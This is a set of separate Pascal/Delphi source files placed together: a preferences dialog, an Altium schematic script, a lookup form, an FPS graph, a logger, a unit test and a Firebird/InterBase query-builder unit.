unit Dprefers; {$MODE Delphi} {-------------------------------------------------------------------} { Unit: Dprefers.pas } { Project: EPANET2W } { Version: 2.0 } { Date: 5/29/00 } { Author: L. Rossman } { } { Form unit with a dialog box for setting program preferences. } {-------------------------------------------------------------------} interface uses LCLIntf, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Spin, StdCtrls, ComCtrls, Uglobals, Uutils, ExtCtrls, LResources; const MSG_NO_DIRECTORY = ' - directory does not exist.'; MSG_SELECT_NUMBER_OF = 'Select number of decimal places to'; MSG_WHEN_DISPLAYING = 'use when displaying computed results'; type TPreferencesForm = class(TForm) PageControl1: TPageControl; TabSheet1: TTabSheet; TabSheet2: TTabSheet; CheckBoldFonts: TCheckBox; CheckBlinking: TCheckBox; CheckFlyOvers: TCheckBox; CheckAutoBackup: TCheckBox; Label5: TLabel; EditTempDir: TEdit; DirSelectBtn: TButton; Label1: TLabel; Label2: TLabel; NodeVarBox: TComboBox; NodeVarSpin: TSpinEdit; Label3: TLabel; Label4: TLabel; LinkVarBox: TComboBox; LinkVarSpin: TSpinEdit; BtnOK: TButton; BtnCancel: TButton; BtnHelp: TButton; Panel1: TPanel; Label6: TLabel; CheckConfirmDelete: TCheckBox; procedure FormCreate(Sender: TObject); procedure NodeVarSpinChange(Sender: TObject); procedure LinkVarSpinChange(Sender: TObject); procedure NodeVarBoxChange(Sender: TObject); procedure LinkVarBoxChange(Sender: TObject); procedure BtnOKClick(Sender: TObject); procedure BtnCancelClick(Sender: TObject); procedure DirSelectBtnClick(Sender: TObject); procedure BtnHelpClick(Sender: TObject); private { Private declarations } NodeDigits: array[DEMAND..NODEQUAL] of Integer; LinkDigits: array[FLOW..LINKQUAL] of Integer; function SetPreferences: Boolean; public { Public declarations } end; //var // PreferencesForm: TPreferencesForm; implementation uses Fbrowser; procedure TPreferencesForm.FormCreate(Sender: TObject); //---------------------------------------------------- // OnCreate handler for form. //---------------------------------------------------- var i: Integer; begin // Set font size & style Uglobals.SetFont(self); // Initialize general preferences CheckBoldFonts.Checked := BoldFonts; CheckBlinking.Checked := Blinking; CheckFlyOvers.Checked := FlyOvers; CheckAutoBackup.Checked := AutoBackup; CheckConfirmDelete.Checked := ConfirmDelete; EditTempDir.Text := TempDir; // Assign items to node & link variable combo boxes for i := DEMAND to NODEQUAL do begin NodeVarBox.Items.Add(NodeVariable[i].Name); NodeDigits[i] := NodeUnits[i].Digits; end; for i := FLOW to LINKQUAL do begin LinkVarBox.Items.Add(LinkVariable[i].Name); LinkDigits[i] := LinkUnits[i].Digits; end; NodeVarBox.ItemIndex := 0; NodeVarSpin.Value := NodeDigits[DEMAND]; LinkVarBox.ItemIndex := 0; LinkVarSpin.Value := LinkDigits[FLOW]; Label6.Caption := MSG_SELECT_NUMBER_OF + #13 + MSG_WHEN_DISPLAYING; PageControl1.ActivePage := TabSheet1; end; procedure TPreferencesForm.NodeVarSpinChange(Sender: TObject); //----------------------------------------------------------- // OnChange handler for SpinEdit control that // sets decimal places for a node variable. //----------------------------------------------------------- begin NodeDigits[NodeVarBox.ItemIndex+DEMAND] := NodeVarSpin.Value; end; procedure TPreferencesForm.LinkVarSpinChange(Sender: TObject); //----------------------------------------------------------- // OnChange handler for SpinEdit control that // sets decimal places for a link variable. //----------------------------------------------------------- begin LinkDigits[LinkVarBox.ItemIndex+FLOW] := LinkVarSpin.Value; end; procedure TPreferencesForm.NodeVarBoxChange(Sender: TObject); //----------------------------------------------------------- // OnChange handler for ComboBox control that // selects a node variable. //----------------------------------------------------------- begin NodeVarSpin.Value := NodeDigits[NodeVarBox.ItemIndex+DEMAND]; end; procedure TPreferencesForm.LinkVarBoxChange(Sender: TObject); //----------------------------------------------------------- // OnChange handler for ComboBox control that // selects a link variable. //----------------------------------------------------------- begin LinkVarSpin.Value := LinkDigits[LinkVarBox.ItemIndex+FLOW]; end; procedure TPreferencesForm.BtnOKClick(Sender: TObject); //------------------------------------------------------ // OnClick handler for OK button. //------------------------------------------------------ begin if SetPreferences then ModalResult := mrOK; end; procedure TPreferencesForm.BtnCancelClick(Sender: TObject); //------------------------------------------------------ // OnClick handler for Cancel button. //------------------------------------------------------ begin ModalResult := mrCancel; end; procedure TPreferencesForm.DirSelectBtnClick(Sender: TObject); //----------------------------------------------------------- // OnClick handler for Select button that selects a // choice of Temporary Folder. Uses built-in Delphi // function SelectDirectory to display a directory // selection dialog box. //----------------------------------------------------------- var s: String; begin s := EditTempDir.Text; if SelectDirectory(s,[sdAllowCreate,sdPerformCreate,sdPrompt],0) then EditTempDir.Text := s; end; function TPreferencesForm.SetPreferences: Boolean; //------------------------------------------------------------ // Transfers contents of form to program preference variables. //------------------------------------------------------------ var j: Integer; buffer: String; begin // Use default temporary directory if user has a blank entry buffer := Trim(EditTempDir.Text); if (Length(buffer) = 0) then begin TempDir := Uutils.GetTempFolder; if TempDir = '' then TempDir := EpanetDir; end // Otherwise check that user's directory choice exists else begin if buffer[Length(buffer)] <> '\' then buffer := buffer + '\'; if DirectoryExists(buffer) then TempDir := buffer else begin MessageDlg(buffer + MSG_NO_DIRECTORY, mtWARNING, [mbOK], 0); EditTempDir.Text := TempDir; PageControl1.ActivePage := TabSheet1; EditTempDir.SetFocus; Result := False; Exit; end; end; // Save the other preferences to their respective global variables. BoldFonts := CheckBoldFonts.Checked; Blinking := CheckBlinking.Checked; FlyOvers := CheckFlyOvers.Checked; AutoBackup := CheckAutoBackup.Checked; ConfirmDelete := CheckConfirmDelete.Checked; for j := DEMAND to NODEQUAL do NodeUnits[j].Digits := NodeDigits[j]; for j := FLOW to LINKQUAL do LinkUnits[j].Digits := LinkDigits[j]; Result := True; end; procedure TPreferencesForm.BtnHelpClick(Sender: TObject); begin with PageControl1 do if ActivePage = TabSheet1 then Application.HelpContext(137) else Application.HelpContext(142); end; initialization {$i Dprefers.lrs} {$i Dprefers.lrs} end.
{..............................................................................} { Summary Using an iterator to look for sheet symbols and then } { within each sheet symbol, use the sheet symbol's iterator to } { look for sheet entries. } { } { Version 1.1 } { Copyright (c) 2005 by Altium Limited } {..............................................................................} {..............................................................................} Procedure RunSheetSymbolIterator; Var CurrentSheet : ISch_Document; SheetSymbol : ISch_SheetSymbol; ChildIterator : ISch_Iterator; ParentIterator : ISch_Iterator; SheetEntry : ISch_SheetEntry; EntriesNames : TDynamicString; LS : TDynamicString; SheetSymbolCount : Integer; EntryCount : Integer; Begin // Checks if the current document is a Schematic document CurrentSheet := SchServer.GetCurrentSchDocument; If CurrentSheet = Nil Then Exit; SheetSymbolCount := 0; EntryCount := 0; LS := ''; EntriesNames := ''; // Look for sheet symbols (parent objects) and its sheet entries (child objects) ParentIterator := CurrentSheet.SchIterator_Create; ParentIterator.AddFilter_ObjectSet(MkSet(eSheetSymbol)); Try SheetSymbol := ParentIterator.FirstSchObject; While SheetSymbol <> Nil Do Begin Inc(SheetSymbolCount); // Look for sheet entries (child objects) within a sheet symbol object. ChildIterator := SheetSymbol.SchIterator_Create; If ChildIterator <> Nil Then Begin ChildIterator.AddFilter_ObjectSet(MkSet(eSheetEntry)); Try SheetEntry := ChildIterator.FirstSchObject; While SheetEntry <> Nil Do Begin Inc(EntryCount); EntriesNames := SheetEntry.Name + ' ' + EntriesNames; SheetEntry := ChildIterator.NextSchObject; End; Finally SheetSymbol.SchIterator_Destroy(ChildIterator); End; End; LS := LS + SheetSymbol.SheetName.Text + ' Sheet Symbol contains ' + IntToStr(EntryCount) + ' sheet entries: ' + Entriesnames + #13 + #13; EntriesNames := ''; EntryCount := 0; SheetSymbol := ParentIterator.NextSchObject; End; Finally CurrentSheet.SchIterator_Destroy(ParentIterator); End; If SheetSymbolCount > 0 Then ShowInfo('The schematic document has ' + IntToStr(SheetSymbolCount) + ' Sheetsymbols ' + #13 + LS) Else ShowInfo('No sheet symbols found.'); End; {..............................................................................} {..............................................................................} End.
unit ufrmLookupOrganization; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, ufrmCXLookup, cxGraphics, cxControls, cxLookAndFeels, cxLookAndFeelPainters, cxContainer, cxEdit, Vcl.ComCtrls, dxCore, cxDateUtils, Vcl.Menus, cxStyles, cxCustomData, cxFilter, cxData, cxDataStorage, cxNavigator, Data.DB, cxDBData, cxGridLevel, cxClasses, cxGridCustomView, cxGridCustomTableView, cxGridTableView, cxGridDBTableView, cxGrid, Vcl.StdCtrls, cxButtons, cxTextEdit, cxMaskEdit, cxDropDownEdit, cxCalendar, cxLabel, Vcl.ExtCtrls, cxGroupBox, cxRadioGroup, uModOrganization, Data.SqlExpr; type TfrmLookupOrganization = class(TfrmCXLookup) rbOrgType: TcxRadioGroup; procedure rbOrgTypePropertiesEditValueChanged(Sender: TObject); private { Private declarations } protected function GetDatasetFromServer: TDataSet; override; public class function Lookup(DefaultType: Integer = 1): TModOrganization; { Public declarations } end; var frmLookupOrganization: TfrmLookupOrganization; implementation uses uDMClient; {$R *.dfm} function TfrmLookupOrganization.GetDatasetFromServer: TDataSet; begin FLookupClient.PrepareCommand(Self.CommandName); FLookupClient.FLookupCommand.Parameters[0].Value.AsInt32 := rbOrgType.ItemIndex+1; FLookupClient.FLookupCommand.Execute; Result := TCustomSQLDataSet.Create(nil, FLookupClient.FLookupCommand.Parameters[1].Value.GetDBXReader(False), True); Result.Open; end; class function TfrmLookupOrganization.Lookup(DefaultType: Integer = 1): TModOrganization; var lfrm: TfrmLookupOrganization; begin Result := nil; lfrm := TfrmLookupOrganization.Create(DMClient.RestConn, False); lfrm.CommandName := 'TDSProvider.Organization_Lookup'; lfrm.rbOrgType.ItemIndex := DefaultType-1; Try lfrm.HideDateParams; lfrm.RefreshDataSet; lfrm.ShowFieldsOnly(['ORG_CODE', 'ORG_NAME', 'ORG_Address', 'Org_NPWP']); if lFrm.ShowModal = mrOk then begin if lfrm.Data.Eof then exit; Result := DMClient.CrudClient.Retrieve(TModOrganization.ClassName, lfrm.Data.FieldByName('V_ORGANIZATION_ID').AsString ) as TModOrganization; end; Finally lFrm.Free; End; end; procedure TfrmLookupOrganization.rbOrgTypePropertiesEditValueChanged( Sender: TObject); begin inherited; Self.RefreshDataSet; end; end.
unit u_Graph; interface uses Winapi.Windows, System.Classes, System.SysUtils, Vcl.Graphics, GLScene, GLAsyncTimer, GLCanvas, GLRenderContextInfo; type c_FPSGraph = class(TGLImmaterialSceneObject) private f_fps,f_fpsMax: single; f_pos,f_brd: integer; f_arr:array of single; f_ATimer:TGLAsyncTimer; procedure _setInterval(v:integer); procedure _onTime(Sender:TObject); public constructor CreateAsChild(aParentOwner: TGLBaseSceneObject); procedure DoRender(var ARci: TGLRenderContextInfo; ARenderSelf, ARenderChildren: Boolean); override; property border:integer read f_brd write f_brd; property interval:integer write _setInterval; property fps:single read f_fps; end; //===================================================================== implementation //===================================================================== constructor c_FPSGraph.CreateAsChild; begin Create(aParentOwner); aParentOwner.AddChild(Self); f_Pos := 0; f_fpsMax := 1; f_brd := 50; setlength(f_Arr, 8192); f_ATimer := TGLAsyncTimer.Create(self); f_ATimer.OnTimer := _onTime; f_ATimer.Enabled := true; _setInterval(100); end; //------------------------------------------------------------------ procedure c_FPSGraph._setInterval; begin f_Atimer.Interval := v; end; //------------------------------------------------------------------ procedure c_FPSGraph._onTime; var i: integer; f: single; begin if Scene.CurrentBuffer = nil then exit; f := Scene.CurrentBuffer.FramesPerSecond; Scene.CurrentBuffer.ResetPerformanceMonitor; for i := 0 to 4 do f := f + f_Arr[(f_Pos - i) and $1fff]; f_fps := f / 5; if f_fps * 0.9 > f_fpsMax then f_fpsMax := f_fps; f_Arr[f_Pos and $1fff] := f_fps; inc(f_pos); end; //------------------------------------------------------------------ procedure c_FPSGraph.DoRender; var glc: TGLCanvas; i,dw: integer; a: single; begin with Scene.CurrentBuffer do glc := TGLCanvas.Create(Width, Height); with glc do begin InvertYAxis; a := (CanvasSizeY - f_brd * 3) / f_fpsMax; dw := CanvasSizeX - f_brd * 2; PenColor := $ffffff; PenAlpha := 0.5; for i := 0 to round(f_fpsMax / 100) do Line(f_brd, f_brd + i * 100 * a, f_brd + dw, f_brd + i * 100 * a); for i := 0 to dw - 2 do begin if (f_pos + i - dw) mod 100 = 0 then begin PenColor := $ffffff; PenAlpha := 0.5; Line(f_brd + i, f_brd, f_brd + i, CanvasSizeY - f_brd); end; PenColor := $0080ff; PenAlpha := 0.75; Line(f_brd + i, f_brd + f_arr[(f_pos + i - dw) and $1fff] * a, f_brd + i + 1, f_brd + f_arr[(f_pos + i + 1 - dw) and $1fff] * a); end; Free; end; end; end.
unit LoggingU; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, System.Generics.Collections; type TLogLevel = (logDebug, logInformation); type TLoggerBase = class private FLogLevel: TLogLevel; procedure DoLog(AMessage: string); overload; procedure DoLog(const AFormat: string; const Args: array of const); overload; procedure SetLogLevel(const Value: TLogLevel); protected procedure InternalLog(AMessage: string); virtual; abstract; procedure InitializeLog; virtual; abstract; procedure FinalizeLog; virtual; abstract; public constructor Create; reintroduce; destructor Destroy; override; procedure Log(AMessage: string); procedure Error(AMessage: string); overload; procedure Error(AException: Exception; AMessage: string = ''); overload; procedure Debug(AProcedure, AMessage: string); property LogLevel: TLogLevel read FLogLevel write SetLogLevel; end; TSimpleLogger = class(TLoggerBase) private FLogCache: TStringList; FMaxCacheSize: integer; function GetCache: string; procedure SetMaxCacheSize(const Value: integer); protected procedure InternalLog(AMessage: string); override; procedure InitializeLog; override; procedure FinalizeLog; override; public property Cache: string read GetCache; property MaxCacheSize: integer read FMaxCacheSize write SetMaxCacheSize; end; var _Logging: TSimpleLogger; procedure Log(const AFormat: string; const Args: array of const); overload; procedure Log(AMessage: string); overload; procedure Debug(AProcedure: string; const AFormat: string; const Args: array of const); overload; procedure Debug(AProcedure, AMessage: string); overload; procedure Error(const AFormat: string; const Args: array of const); overload; procedure Error(AMessage: string); overload; procedure Error(AException: Exception; AMessage: string = ''); overload; procedure Error(AException: Exception; const AFormat: string; const Args: array of const); overload; implementation { TLoggerBase } constructor TLoggerBase.Create; begin {$IFDEF DEBUG} FLogLevel := logDebug; {$ELSE} FLogLevel := logInformation; {$ENDIF} InitializeLog; end; procedure TLoggerBase.Debug(AProcedure, AMessage: string); begin if (FLogLevel = logDebug) then begin DoLog('[DEBUG]:(%s):%s', [AProcedure, AMessage]); end; end; destructor TLoggerBase.Destroy; begin try FinalizeLog; finally inherited; end; end; procedure TLoggerBase.DoLog(const AFormat: string; const Args: array of const); begin DoLog(Format(AFormat, Args)); end; procedure TLoggerBase.DoLog(AMessage: string); begin InternalLog(AMessage); end; procedure TLoggerBase.Error(AMessage: string); begin DoLog('[ERROR]: %s', [AMessage]); end; procedure TLoggerBase.Error(AException: Exception; AMessage: string); begin DoLog('[ERROR]: %s %s', [AException.Message, AMessage]); end; procedure TLoggerBase.Log(AMessage: string); begin DoLog('[LOG]: %s', [AMessage]); end; procedure TLoggerBase.SetLogLevel(const Value: TLogLevel); begin FLogLevel := Value; end; procedure Log(const AFormat: string; const Args: array of const); begin _Logging.Log(Format(AFormat, Args)); end; procedure Log(AMessage: string); begin _Logging.Log(AMessage); end; procedure Debug(AProcedure: string; const AFormat: string; const Args: array of const); begin _Logging.Debug(AProcedure, Format(AFormat, Args)); end; procedure Debug(AProcedure, AMessage: string); begin _Logging.Debug(AProcedure, AMessage); end; procedure Error(const AFormat: string; const Args: array of const); begin _Logging.Error(Format(AFormat, Args)); end; procedure Error(AMessage: string); begin _Logging.Error(AMessage); end; procedure Error(AException: Exception; AMessage: string = ''); begin _Logging.Error(AException, AMessage); end; procedure Error(AException: Exception; const AFormat: string; const Args: array of const); begin _Logging.Error(AException, Format(AFormat, Args)); end; { TSimpleLogger } procedure TSimpleLogger.FinalizeLog; begin FreeAndNil(FLogCache); end; function TSimpleLogger.GetCache: string; begin Result := ''; if Assigned(FLogCache) then begin Result := FLogCache.Text; end; end; procedure TSimpleLogger.InitializeLog; begin FLogCache := TStringList.Create; FMaxCacheSize := 1000; end; procedure TSimpleLogger.InternalLog(AMessage: string); begin FLogCache.Insert(0, AMessage); while FLogCache.Count > FMaxCacheSize do begin FLogCache.Delete(FLogCache.Count - 1); end; end; procedure TSimpleLogger.SetMaxCacheSize(const Value: integer); begin FMaxCacheSize := Value; end; initialization _Logging := TSimpleLogger.Create; finalization FreeAndNil(_Logging); end.
unit ExampleTest; {$mode objfpc}{$H+} interface uses Classes, SysUtils, fpcunit, testutils, testregistry; type { TExampleTest } TExampleTest= class(TTestCase) protected procedure SetUp; override; procedure TearDown; override; published procedure assertBoolean(); procedure assertString(); procedure assertInteger(); end; implementation procedure TExampleTest.SetUp; begin end; procedure TExampleTest.TearDown; begin end; procedure TExampleTest.assertBoolean; var sw:Boolean; begin sw := False; AssertFalse(sw); end; procedure TExampleTest.assertString; begin AssertEquals('Es igual','Es igual'); end; procedure TExampleTest.assertInteger; var numero, resultadoEsperado:Integer; begin numero := 15; resultadoEsperado := 15; AssertEquals(numero, resultadoEsperado); end; end.
unit NewFrontiers.Database; interface uses System.Rtti, Generics.Collections, System.Classes, IBC, Data.DB; type /// <summary> /// Die Klasse NfsDatabase kapselt die verwendete Datenbank. /// </summary> TNfsDatabase = class(TIBCConnection) end; /// <summary> /// Die Klasse NfsTransaction kapselt die zu verwendende /// Transaction-Klasse (IBX oder IbDAC) und erweitert diese ggf. um neue /// Methoden /// </summary> TNfsTransaction = class(TIBCTransaction) public function InTransaction: boolean; end; /// <summary> /// Die Klasse NfsQuery kapselt die zu verwendende Query-Klasse /// </summary> TNfsQuery = class(TIBCQuery) protected _wasOpen: boolean; public /// <summary> /// Führt die Query aus und gibt das erste Feld der ersten Zeile /// als Integer zurück /// </summary> function skalarAsInteger: integer; /// <summary> /// Führt die Query aus und commitet die Transaction sofort. /// </summary> procedure ExecuteAndCommit; end; /// <summary> /// Mit dem DatabaseProvider kann man die aktuelle Datenbankverbindung /// oder die Default-Transaction abrufen. Ersetzt damit das in vielen /// Anwendungen gebräuchliche DataModule /// </summary> TDatabaseProvider = class protected _database: TNfsDatabase; _defaultTransaction: TNfsTransaction; public constructor Create(aServer, aDatabase, aUser, aPass: string); overload; constructor Create(aDatabase: TNfsDatabase); overload; class function getInstance: TDatabaseProvider; /// <summary> /// Gibt die Default-Transaction zurück /// </summary> class function getDefaultTransaction: TNfsTransaction; /// <summary> /// Erzeugt eine Query mit der Default-Transaction und gibt diese /// zurück /// </summary> class function getQuery(aOwner: TComponent = nil): TNFsQuery; end; /// <summary> /// Hilfsklasse für den QueryBuilder um Joins korrekt abbilden zu können /// </summary> TJoinedTable = class private _tableName: string; _onCriteria: string; _prefix: string; public property TableName: string read _tableName write _tableName; property OnCriteria: string read _onCriteria write _onCriteria; property Prefix: string read _prefix write _prefix; function getSqlStatement: string; end; /// <summary> /// Der Query-Builder stellt ein Fluent-Interface für das Schreiben von /// Queries zur Verfügung /// </summary> TQueryBuilder = class protected _fields: TDictionary<string, TValue>; _parameter: TDictionary<string, TValue>; _table: string; _whereClauses: TStrings; _orderByClauses: TStrings; _joins: TObjectlist<TJoinedTable>; procedure setParameter(aQuery: TNfsQuery; aParameter: string; aValue: TValue); function getFieldsKeyString: string; public constructor Create; destructor Destroy; override; /// <summary> /// Erzeugt einen Select-Query-Builder /// </summary> class function select: TQueryBuilder; /// <summary> /// Erzeugt einen Insert-Query-Builder /// </summary> class function insert: TQueryBuilder; /// <summary> /// Erzeugt einen Update-Query-Builder /// </summary> class function update: TQueryBuilder; /// <summary> /// Erzeugt einen Delete-Query-Builder /// </summary> class function delete: TQueryBuilder; function field(aField: string): TQueryBuilder; overload; function field(aField: string; aValue: TValue): TQueryBuilder; overload; function field(aField: string; aValue: string): TQueryBuilder; overload; function field(aField: string; aValue: integer): TQueryBuilder; overload; function field(aField: string; aValue: boolean): TQueryBuilder; overload; function fieldDT(aField: string; aValue: TDateTime): TQueryBuilder; overload; function field(aField: string; aValue: real): TQueryBuilder; overload; function from(aTable: string): TQueryBuilder; function table(aTable: string): TQueryBuilder; function where(aWhereClause: string): TQueryBuilder; function orderBy(aOrderbyClause: string): TQueryBuilder; function join(aTable, aOnCriteria: string): TQueryBuilder; function leftJoin(aTable, aOnCriteria: string): TQueryBuilder; function rightJoin(aTable, aOnCriteria: string): TQueryBuilder; function param(aName: string; aValue: TValue): TQueryBuilder; overload; function param(aName, aValue: string): TQueryBuilder; overload; function param(aName: string; aValue: integer): TQueryBuilder; overload; function param(aName: string; aValue: real): TQueryBuilder; overload; function param(aName: string; aValue: boolean): TQueryBuilder; overload; /// <summary> /// Befüllt die übergebene Query mit dem Statement und den /// Parametern, die über den Builder festgelegt wurden. /// </summary> procedure fillQuery(aQuery: TNfsQuery); /// <summary> /// Erzeugt eine neue Query und konfiguriert diese entsprechende den /// Einstellungen des Builders /// </summary> function getQuery(aOwner: TComponent; aTransaction: TNfsTransaction): TNfsQuery; /// <summary> /// Erzeugt das auszuführende SQL Statement und gibt dieses zurück /// </summary> function generateStatment: string; virtual; abstract; end; TQueryBuilderSelect = class(TQueryBuilder) public function generateStatment: string; override; end; TQueryBuilderInsert = class(TQueryBuilder) public function generateStatment: string; override; end; TQueryBuilderUpdate = class(TQueryBuilder) public function generateStatment: string; override; end; TQueryBuilderDelete = class(TQueryBuilder) public function generateStatment: string; override; end; implementation uses System.SysUtils, NewFrontiers.Utility.StringUtil; var _databaseProviderInstance: TDatabaseProvider; { TQueryBuilder } constructor TQueryBuilder.Create; begin _fields := TDictionary<string, TValue>.Create; _parameter := TDictionary<string, TValue>.Create; _joins := TObjectlist<TJoinedTable>.Create(true); _whereClauses := TStringlist.Create; _orderByClauses := TStringlist.Create; end; class function TQueryBuilder.delete: TQueryBuilder; begin result := TQueryBuilderDelete.Create; end; function TQueryBuilder.field(aField: string; aValue: TValue): TQueryBuilder; //var temp: TFieldValue; begin // temp := TFieldValue.Create; // temp.Value := aValue; _fields.Add(aField, aValue); result := self; end; function TQueryBuilder.field(aField: string): TQueryBuilder; begin result := field(aField, TValue.Empty); end; function TQueryBuilder.field(aField, aValue: string): TQueryBuilder; begin result := field(aField, TValue.From<string>(aValue)); end; destructor TQueryBuilder.Destroy; begin _fields.Free; _parameter.Free; _joins.free; _whereClauses.Free; _orderByClauses.Free; inherited; end; function TQueryBuilder.field(aField: string; aValue: real): TQueryBuilder; begin result := field(aField, TValue.From<real>(aValue)); end; function TQueryBuilder.field(aField: string; aValue: boolean): TQueryBuilder; begin result := field(aField, TValue.From<boolean>(aValue)); end; function TQueryBuilder.field(aField: string; aValue: integer): TQueryBuilder; begin result := field(aField, TValue.From<integer>(aValue)); end; function TQueryBuilder.fieldDT(aField: string; aValue: TDateTime): TQueryBuilder; begin result := field(aField, TValue.From<TDateTime>(aValue)); end; procedure TQueryBuilder.fillQuery(aQuery: TNfsQuery); var key: string; begin aQuery.SQL.text := generateStatment; for key in _parameter.Keys do begin setParameter(aQuery, key, _parameter[key]); end; for key in _fields.Keys do begin setParameter(aQuery, key, _fields[key]); end; end; function TQueryBuilder.from(aTable: string): TQueryBuilder; begin _table := aTable; result := self; end; function TQueryBuilder.getFieldsKeyString: string; var temp: TStrings; key: string; begin temp := TStringlist.Create; for key in _fields.Keys do begin temp.Add(key); end; result := TStringUtil.Implode(', ', temp); temp.Free; end; function TQueryBuilder.getQuery(aOwner: TComponent; aTransaction: TNfsTransaction): TNfsQuery; begin result := TNfsQuery.Create(aOwner); result.transaction := aTransaction; fillQuery(result); end; class function TQueryBuilder.insert: TQueryBuilder; begin result := TQueryBuilderInsert.Create; end; function TQueryBuilder.join(aTable, aOnCriteria: string): TQueryBuilder; var temp: TJoinedTable; begin temp := TJoinedTable.Create; temp.TableName := aTable; temp.OnCriteria := aOnCriteria; temp.Prefix := ''; _joins.add(temp); result := self; end; function TQueryBuilder.leftJoin(aTable, aOnCriteria: string): TQueryBuilder; var temp: TJoinedTable; begin temp := TJoinedTable.Create; temp.TableName := aTable; temp.OnCriteria := aOnCriteria; temp.Prefix := 'left outer '; _joins.add(temp); result := self; end; function TQueryBuilder.orderBy(aOrderbyClause: string): TQueryBuilder; begin _orderByClauses.Add(aOrderbyClause); result := self; end; function TQueryBuilder.param(aName, aValue: string): TQueryBuilder; begin result := param(aName, TValue.From<string>(aValue)); end; function TQueryBuilder.param(aName: string; aValue: TValue): TQueryBuilder; //var temp: TFieldValue; begin // temp := TFieldValue.Create; // temp.Value := aValue; _parameter.Add(aName, aValue); result := self; end; function TQueryBuilder.param(aName: string; aValue: integer): TQueryBuilder; begin result := param(aName, TValue.From<integer>(aValue)); end; function TQueryBuilder.param(aName: string; aValue: boolean): TQueryBuilder; begin result := param(aName, TValue.From<boolean>(aValue)); end; function TQueryBuilder.param(aName: string; aValue: real): TQueryBuilder; begin result := param(aName, TValue.From<real>(aValue)); end; function TQueryBuilder.rightJoin(aTable, aOnCriteria: string): TQueryBuilder; var temp: TJoinedTable; begin temp := TJoinedTable.Create; temp.TableName := aTable; temp.OnCriteria := aOnCriteria; temp.Prefix := 'right outer '; _joins.add(temp); result := self; end; class function TQueryBuilder.select: TQueryBuilder; begin result := TQueryBuilderSelect.Create; end; procedure TQueryBuilder.setParameter(aQuery: TNfsQuery; aParameter: string; aValue: TValue); begin if (aValue.IsEmpty) then exit; if (aValue.IsOrdinal) then aQuery.ParamByName(aParameter).AsInteger := aValue.AsInteger else if (aValue.IsType<string>) then aQuery.ParamByName(aParameter).asString := aValue.asString else if (aValue.IsType<TDateTime>) then aQuery.ParamByName(aParameter).AsDateTime := aValue.AsExtended else if (aValue.IsType<real>) then aQuery.ParamByName(aParameter).AsDateTime := aValue.AsExtended else if (aValue.IsType<boolean>) then begin if aValue.AsBoolean then aQuery.ParamByName(aParameter).AsString := 'T' else aQuery.ParamByName(aParameter).AsString := 'F'; end; end; function TQueryBuilder.table(aTable: string): TQueryBuilder; begin _table := aTable; result := self; end; class function TQueryBuilder.update: TQueryBuilder; begin result := TQueryBuilderUpdate.Create; end; function TQueryBuilder.where(aWhereClause: string): TQueryBuilder; begin _whereClauses.Add(aWhereClause); result := self; end; { TNfsTransaction } function TNfsTransaction.InTransaction: boolean; begin result := Active; end; { TNfsQuery } procedure TNfsQuery.ExecuteAndCommit; begin _wasOpen := Transaction.Active; if (not _wasOpen) then Transaction.StartTransaction; ExecSQL; if (not _wasOpen) then Transaction.Commit; end; function TNfsQuery.skalarAsInteger: integer; begin _wasOpen := Transaction.Active; if (not _wasOpen) then Transaction.StartTransaction; Open; if (isEmpty) then result := 0 else result := Fields[0].AsInteger; Close; if (not _wasOpen) then Transaction.Commit; end; { TQueryBuilderSelect } function TQueryBuilderSelect.generateStatment: string; var joinString: string; i: Integer; begin if (_table = '') then raise Exception.Create('Keine Tabelle angegeben'); if _fields.Count = 0 then _fields.add('*', TValue.Empty); joinString := ''; for i := 0 to _joins.Count - 1 do joinString := joinString + TJoinedTable(_joins[i]).getSqlStatement; result := Format('select %s from %s', [getFieldsKeyString, _table + joinString]); if _whereClauses.Count > 0 then result := result + ' where ' + TStringUtil.Implode(' and ', _whereClauses); if _orderByClauses.Count > 0 then result := result + ' order by ' + TStringUtil.Implode(', ', _orderByClauses); end; { TQueryBuilderInsert } function TQueryBuilderInsert.generateStatment: string; var key: string; tempNames: TStringlist; begin if (_table = '') then raise Exception.Create('Keine Tabelle angegeben'); if _fields.Count = 0 then raise Exception.Create('Keine Felder angegeben'); tempNames := TStringlist.Create; for key in _fields.Keys do tempNames.Add(':' + key); result := Format('insert into %s (%s) values (%s)', [_table, getFieldsKeyString, TStringUtil.Implode(', ', tempNames)]); end; { TQueryBuilderUpdate } function TQueryBuilderUpdate.generateStatment: string; var tempNames: TStrings; key: string; begin if (_table = '') then raise Exception.Create('Keine Tabelle angegeben'); if _fields.Count = 0 then raise Exception.Create('Keine Felder angegeben'); tempNames := TStringlist.Create; for key in _fields.Keys do tempNames.Add(key + ' = :' + key); result := Format('update %s set %s', [_table, TStringUtil.Implode(', ', tempNames)]); if _whereClauses.Count > 0 then result := result + ' where ' + TStringUtil.Implode(' and ', _whereClauses); end; { TQueryBuilderDelete } function TQueryBuilderDelete.generateStatment: string; begin raise ENotImplemented.Create(''); end; { TJoinedTable } function TJoinedTable.getSqlStatement: string; begin result := ' ' + Prefix + ' join ' + TableName + ' on ' + OnCriteria + ' '; end; { TDatabaseProvider } constructor TDatabaseProvider.Create(aServer, aDatabase, aUser, aPass: string); begin _database := TNfsDatabase.Create(nil); _database.Server := aServer; _database.Database := aDatabase; _database.Username := aUser; _database.Password := aPass; _database.Connect; _defaultTransaction := TNfsTransaction.Create(_database); _defaultTransaction.AddConnection(_database); _databaseProviderInstance := self; end; constructor TDatabaseProvider.Create(aDatabase: TNfsDatabase); begin _database := aDatabase; _defaultTransaction := TNfsTransaction.Create(_database); _defaultTransaction.AddConnection(_database); _databaseProviderInstance := self; end; class function TDatabaseProvider.getDefaultTransaction: TNfsTransaction; begin result := TDatabaseProvider.getInstance._defaultTransaction; end; class function TDatabaseProvider.getInstance: TDatabaseProvider; begin if (_databaseProviderInstance = nil) then raise Exception.Create('Database Provider wurde noch nicht initialisiert'); result := _databaseProviderInstance; end; class function TDatabaseProvider.getQuery(aOwner: TComponent = nil): TNfsQuery; begin result := TNfsQuery.Create(aOwner); result.Transaction := TDatabaseProvider.getDefaultTransaction; end; end.
